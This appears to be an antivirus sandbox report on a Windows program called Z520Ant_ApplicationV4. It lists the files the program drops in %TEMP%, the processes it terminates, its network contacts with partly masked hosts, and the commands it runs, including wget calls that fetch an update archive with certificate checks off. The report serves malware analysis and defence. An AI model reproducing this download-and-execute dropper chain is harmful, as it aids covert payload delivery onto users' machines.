Technical Information
Malicious functions:
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system:
Creates the following files:
- %TEMP%\~~8132566694449967930.tmp
- %TEMP%\Z520Ant_ApplicationV4\Z520Ant_Application.exe
- %TEMP%\Z520Ant_ApplicationV4\wget.exe
- %TEMP%\Z520Ant_ApplicationV4\unzip.exe
- %TEMP%\Z520Ant_ApplicationV4\LibPrivoxy.dll
- %TEMP%\Z520Ant_ApplicationV4\libintl3.dll
- %TEMP%\Z520Ant_ApplicationV4\libiconv2.dll
- %TEMP%\Z520Ant_ApplicationV4\version.txt
- %TEMP%\Z520Ant_ApplicationV4\updateant402.zip
- %TEMP%\Z520Ant_ApplicationV4\skins\default\res.ini
- %TEMP%\Z520Ant_ApplicationV4\skins\default\res (DESKTOP-JC0QD12 的冲突副本 2017-04-01).ini
- %TEMP%\Z520Ant_ApplicationV4\skins\default\left-right-border.bmp
- %TEMP%\Z520Ant_ApplicationV4\Z520Ant_ApplicationV4.exe
- %TEMP%\Z520Ant_ApplicationV4\skins\default\dialog-title.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\checkbox.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\button.bmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\bottom-border.bmp
- %TEMP%\Z520Ant_ApplicationV4\lang\zh_CN\LC_MESSAGES\sscap.mo
- %TEMP%\Z520Ant_ApplicationV4\config\pac.txt
- %TEMP%\Z520Ant_ApplicationV4\config\gui-config.json
- %TEMP%\Z520Ant_ApplicationV4\config\agent.dat
- %TEMP%\Z520Ant_ApplicationV4\AntAppStart.bat
- %TEMP%\Z520Ant_ApplicationV4\A520ant.ico
- %TEMP%\~6914335449364043711~\sg.tmp
- %TEMP%\~8592072715094320773.tmp
- %TEMP%\Z520Ant_ApplicationV4\skins\default\dialog-sysbutton.bmp
- %HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\sscaplogin[1].html
Sets the 'hidden' attribute to the following files:
- %TEMP%\~8592072715094320773.tmp
Deletes the following files:
- %TEMP%\~~8132566694449967930.tmp
- %TEMP%\~6914335449364043711~\sg.tmp
- %TEMP%\~8592072715094320773.tmp
Network activity:
Connects to:
- 'localhost':1036
- 'ad.##tion.com':80
- 'dl.####nt.zhtion.com':80
TCP:
HTTP GET requests:
- http://ad.##tion.com/sscaplogin.html
UDP:
- DNS ASK 7x####.##m1.z0.glb.clouddn.com
- DNS ASK ad.##tion.com
- DNS ASK dl.####nt.zhtion.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
Creates and executes the following:
- '%TEMP%\~6914335449364043711~\sg.tmp' x "%TEMP%\~8592072715094320773.tmp" -y -aos -o"%TEMP%\Z520Ant_ApplicationV4"
- '%TEMP%\Z520Ant_ApplicationV4\Z520Ant_ApplicationV4.exe'
- '%TEMP%\Z520Ant_ApplicationV4\Z520Ant_Application.exe'
- '%TEMP%\Z520Ant_ApplicationV4\wget.exe' --no-check-certificate -N -t 2 --timeout=2 http://7x####.##m1.z0.glb.clouddn.com/updateant402.zip
- '%TEMP%\Z520Ant_ApplicationV4\wget.exe' --no-check-certificate -N -t 2 --timeout=2 http://dl.####nt.zhtion.com/up/updateant402.zip
Executes the following:
- '<SYSTEM32>\cmd.exe' /c set
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Z520Ant_ApplicationV4\AntAppStart.bat" "
